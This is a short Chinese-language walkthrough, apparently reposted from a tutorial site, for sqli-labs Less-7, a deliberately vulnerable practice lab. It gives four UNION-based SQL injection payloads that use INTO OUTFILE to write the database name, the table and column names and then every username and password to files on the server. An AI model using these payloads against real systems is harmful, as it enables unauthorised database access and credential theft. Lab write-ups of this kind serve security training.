当前位置:Gxlcms > 数据库问题 > sqli-labs less7 GET-Dump into outfile-string

sqli-labs less7 GET-Dump into outfile-string

时间:2021-07-01 10:21:17 帮助过:27人阅读

id=-1‘)) union select 1,2,database() into outfile "E:/wampserver/wamp/tmp/1.txt"--+

技术图片

技术图片

 

 2、获取security中的表

id=-1‘)) union select  1,2 ,table_name from information_schema.tables where table_schema=‘security‘ into outfile "E:/wampserver/wamp/tmp/2.txt"--+

技术图片

技术图片

手动换行后

技术图片

3、获取users中的字段

id=-1‘)) union select 1,2,column_name from information_schema.columns where table_name=‘users‘ and table_schema=‘security‘ into outfile "E:/wampserver/wamp/tmp/3.txt"--+

技术图片

 技术图片

4、获取users表中的所有数据

id=-1‘)) union select id,username,password from users into outfile "E:/wampserver/wamp/tmp/4.txt"--+

技术图片

技术图片

 

sqli-labs less7 GET-Dump into outfile-string

标签:HERE   tmp   file   获取数据   ase   format   数据库名   column   png   

人气教程排行